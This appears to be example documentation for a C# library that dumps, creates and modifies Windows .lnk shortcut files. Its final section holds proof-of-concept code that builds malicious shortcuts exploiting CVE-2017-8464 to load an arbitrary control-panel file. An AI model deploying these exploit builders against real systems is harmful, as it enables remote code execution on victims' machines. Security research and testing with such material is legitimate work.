Examples

Dump

Console.WriteLine(Shortcut.ReadFromFile(@"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Paint.lnk"));

Sample Output

Shortcut:HeaderSize: 76 (0x4C)LinkCLSID: 00021401-0000-0000-c000-000000000046LinkFlags: HasName, HasIconLocation, IsUnicode, ForceNoLinkInfo, HasExpString, EnableTargetMetadata, PreferEnvironmentPathFileAttributes: 0CreationTime: 1/1/1601 12:00:00 AMAccessTime: 1/1/1601 12:00:00 AMWriteTime: 1/1/1601 12:00:00 AMFileSize: 0 (0x0)IconIndex: 0ShowCommand: SW_SHOWNORMALHotKey: 0StringData:NameString: @%SystemRoot%\system32\shell32.dll,-22566IconLocation: %windir%\system32\mspaint.exeExtraData:EnvironmentVariableDataBlock:BlockSize: 788 (0x314)BlockSignature: 0xA0000001TargetAnsi: %windir%\system32\mspaint.exeTargetUnicode: %windir%\system32\mspaint.exePropertyStoreDataBlock:BlockSize: 102 (0x66)BlockSignature: 0xA0000009SerializedPropertyStorage:StorageSize: 45 (0x2D)Version: 0x53505331FormatID: 46588ae2-4cbc-4338-bbfc-139326986dceIntegerName:ValueSize: 17 (0x11)ID: 0x0TypedPropertyValue:Type: VT_UI4Value: 0SerializedPropertyStorage:StorageSize: 45 (0x2D)Version: 0x53505331FormatID: 9f4c2855-9f79-4b39-a8d0-e1d42de1d5f3IntegerName:ValueSize: 17 (0x11)ID: 0x12TypedPropertyValue:Type: VT_UI4Value: 1

Create

Shortcut.CreateShortcut(@"%SystemRoot%\System32\calc.exe").WriteToFile(@"calc.lnk");

Shortcut.CreateShortcut(@"%SystemRoot%\System32\cmd.exe", "/c calc.exe", @"%SystemRoot%\System32\calc.exe", 0).WriteToFile(@"calc2.lnk");

new Shortcut(){LinkTargetIDList = new LinkTargetIDList(){Path = @"C:\Windows\System32\calc.exe"}}.WriteToFile(@"calc3.lnk");

Modify

Shortcut PowerShellLnk = Shortcut.ReadFromFile(Environment.ExpandEnvironmentVariables(@"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk"));// change the background colorPowerShellLnk.ExtraData.ConsoleDataBlock.FillAttributes &= ~FillAttributes.BACKGROUND_BLUE;PowerShellLnk.WriteToFile(@"PowerShell.lnk");

CVE-2017-8464 | LNK Remote Code Execution Vulnerability

SpecialFolderDataBlock

Shortcut poc = new Shortcut(){IconIndex = 0,LinkFlags = LinkFlags.IsUnicode,LinkTargetIDList = new CplLinkTargetIDList(@"E:\target.cpl"),};int Index = poc.LinkTargetIDList.ItemIDList.Count - 1;poc.ExtraData.SpecialFolderDataBlock = new SpecialFolderDataBlock(){SpecialFolderID = CSIDL.CSIDL_CONTROLS,Offset = poc.LinkTargetIDList.GetOffsetByIndex(Index)};poc.WriteToFile(@"CVE-2017-8464.lnk");

KnownFolderDataBlock

Shortcut poc2 = new Shortcut(){IconIndex = 0,LinkFlags = LinkFlags.IsUnicode,LinkTargetIDList = new CplLinkTargetIDList(@"E:\target.cpl")};int Index = poc2.LinkTargetIDList.ItemIDList.Count - 1;poc2.ExtraData.KnownFolderDataBlock = new KnownFolderDataBlock(){KnownFolderID = KNOWNFOLDERID.FOLDERID_ControlPanelFolder,Offset = poc2.LinkTargetIDList.GetOffsetByIndex(Index)};poc2.WriteToFile(@"CVE-2017-8464-2.lnk");